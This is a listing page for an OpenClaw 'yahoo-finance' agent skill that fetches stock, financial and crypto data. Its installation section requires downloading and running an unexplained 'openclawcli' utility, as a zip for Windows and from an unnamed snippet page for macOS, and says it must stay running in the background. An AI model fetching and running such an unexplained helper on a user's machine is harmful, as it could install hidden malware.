yahoo-finance
Get stock quotes, financial data, market news, and portfolio analytics from Yahoo Finance. Use when you need real-time stock prices, historical data, company financials, crypto prices, or market analysis.
Why use this skill?
Integrate real-time stock quotes, historical data, and company financials into your workflow with the OpenClaw Yahoo Finance skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/jordanprater/yahoofinanceWhat This Skill Does
The yahoo-finance skill for OpenClaw provides a powerful interface for fetching real-time financial data, market analysis, and historical stock information. By leveraging the industry-standard yfinance library and the required openclawcli utility, it enables users to pull stock prices, examine corporate balance sheets, track cryptocurrency performance, and analyze market trends directly from their command-line environment or via the OpenClaw agent. This skill serves as a comprehensive financial data engine, suitable for both casual investors looking for a quick price check and developers building complex financial models or automated trading research tools.
Installation
Installation involves two critical steps. First, you must install the Python library by running pip install yfinance. Second, you are required to install the openclawcli utility. For Windows, download and extract the openclawcli.zip file from the official repository; for macOS, follow the instructions provided on the snippet page linked in the long description. Once both components are active, the skill is fully functional and ready to process complex financial queries.
Use Cases
This skill is designed for diverse financial scenarios. Primary use cases include:
- Portfolio Tracking: Monitoring current market valuations for a basket of stocks or crypto assets.
- Fundamental Analysis: Quickly pulling up income statements, cash flow reports, and balance sheets to evaluate company health.
- Historical Backtesting: Retrieving long-term price data to generate CSV exports for spreadsheet analysis.
- Market Sentiment: Utilizing historical dividend and split data to understand long-term stock performance patterns.
Example Prompts
- "OpenClaw, pull the latest income statement for AAPL and tell me their current market cap."
- "Get me the historical price data for TSLA over the last 6 months and save it to a CSV file named tesla_data.csv."
- "What are the latest dividend payouts for Microsoft, and how does that compare to its 52-week high?"
Tips & Limitations
Always ensure that openclawcli is running in the background before executing commands, as data retrieval will fail without it. Because financial markets are dynamic, data fetched may have a slight delay depending on the source. Use intervals such as '1m' or '1h' for intraday trading analysis, or '1d' and '1mo' for longer-term strategic research. Note that excessive polling of financial APIs may trigger rate limits; consider adding reasonable delays if building an automated monitoring loop.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-jordanprater-yahoofinance": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, external-api, code-execution
Related Skills
clawhub
clawhub
openclaw
openclaw
telegram-create-bot
Build and manage Telegram bots via the Telegram Bot API. Create bots, send messages, handle webhooks, manage groups and channels.
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.